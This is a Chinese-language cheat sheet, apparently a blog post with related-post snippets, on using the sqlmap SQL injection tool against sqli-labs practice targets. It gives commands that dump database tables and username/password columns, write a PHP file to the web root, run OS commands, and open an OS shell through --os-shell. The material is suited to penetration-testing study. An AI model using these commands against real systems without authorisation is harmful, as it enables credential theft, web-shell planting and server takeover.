sqlmap常用總結

2021-10-09 22:13:20 字數 2368 閱讀 9535

sqlmap --help 檢視幫助

sqlmap支援的注入方式

-u 檢測url是否有注入點

sqlmap -u 「

無損測試,並且列出一些測試例子

-u的測試

–dbs 獲取所有的資料庫

sqlmap -u 「 --dbs

–current-db 獲取當前所使用的資料庫

sqlmap -u 「 --current-db

-d 指定所測試的資料庫

–tables 獲取該資料庫中所有的**

sqlmap -u 「 -d 「security」 --tables

-t 指定所測試的**名

–columns 獲取該**中所有的欄位名

sqlmap -u 「 -d 「security」 -t 「users」 --columns

-c 指定所需要的欄位名稱

–dump 獲取特定欄位的所有資料

sqlmap -u 「 -d 「security」 -t 「users」 -c 「username,password」 --dump

2.post方法 的注入

首先使用brupsuite抓post包,把抓取的結果放入乙個檔案中

sqlmap -r post.txt

後續步驟 同get方法

3.cookie 的注入

–cookie 指定cookie中使用的引數

–level 要使用cookie注入sqlmap要執行在level 2

sqlmap -u 「 --cookie 「uname=admin」–level 2

執行級別需要level 2

後續步驟 同get方法

4.使用sql來寫入檔案

–is-dba 測試當前使用者是不是資料庫管理員

sqlmap -u 「 --is-dba

–file-write= 上傳原始檔的絕對路徑

–file-dest= 上傳檔案的目標路徑

sqlmap -u 「 --file-write=/root/hack.php --file-dest=c:/phpstudy_pro/www/less-1/hack.php

不過,建議通過hackbar去寫入,因為sqlmap寫入似乎只能針對簡單情況的寫入,如sqli-lab中的level1,但是level7就不可以,而hackbar可以。

5.直接執行命令

–os-cmd= 執行作業系統的命令 必須有資料庫管理員許可權,必須在**目錄下

sqlmap -u 「 --os-cmd=ipconfig

–os-shell 獲取作業系統的shell

sqlmap -u 「 --os-shell

以上均要求在**目錄下,且同樣只適用於簡單的注入測試【即只含單引號那種】

要求在**目錄下

–time-sec(秒):當使用時間盲注時,時刻使用–time-sec引數設定延時時間,預設是5秒。

–union-cols:預設情況下sqlmap測試union查詢注入會測試1-10個字段數,當–level為5的時候他會增加測試到50個字段數。設定–union-cols的值應該是一段整數,如:12-16,是測試12-16個字段數。

設定union查詢使用的字元

常用sqlmap -u 「 --threads=10 --dbms=mysql --batch --technique u -d sqli --tables

sqlmap -u 「 --data --threads=10 --batch -p user-agent --technique u --user-agent=-2 -d sqli -t wzxjypujxc --dump

【這是對於http頭部注入常用的,因為http頭部注入需要指定post方式,所以這裡如果-u,則加上–data就相當於以post方式請求,-p則指定請求位置,不可以就嘗試加上–level、–risk;

還有,user-agent的注入有點特殊,建議指定–user-agent=-2類似的形式,然後再嘗試注入,其實http頭部的注入都建議這樣】

注意-r **txt的方式一定要為post,否則會出錯,所以需要將get請求改為post請求,才可以正常注入

sqlmap常用總結1

sqlmap常用引數總結

sqlmap常用引數總結 1.判斷是否存在注入 sqlmap.py u url 判斷url中的引數是否存在注入,url包含多個引數 sqlmap.py u url 判斷url中的引數是否存在注入,url包含乙個引數 sqlmap.py r txt 判斷text文字中的http請求包是否存在注入,包括...

SQLmap常用引數

u url 指定目標url m 從文字中獲取多個目標掃瞄 r 從檔案中載入http請求 data 以post方式提交資料 random agent 隨機ua user agent 指定ua delay 設定請求間的延遲 timeout 指定超時時間 dbms 指定db,sqlmap支援的db有mys...

SQLMap常用教程

先安裝 python環境 2.6.x或2.7版本 再將sqlmap 放在安裝目錄下 檢測注入點是否可用 u 注入點url sqlmap.py u 檢測表單post提交 注入 sqlmap.py u forms指定請求檔案進行驗證注入,可以用fiddle攔截請求並儲存為檔案 sqlmap.py r c...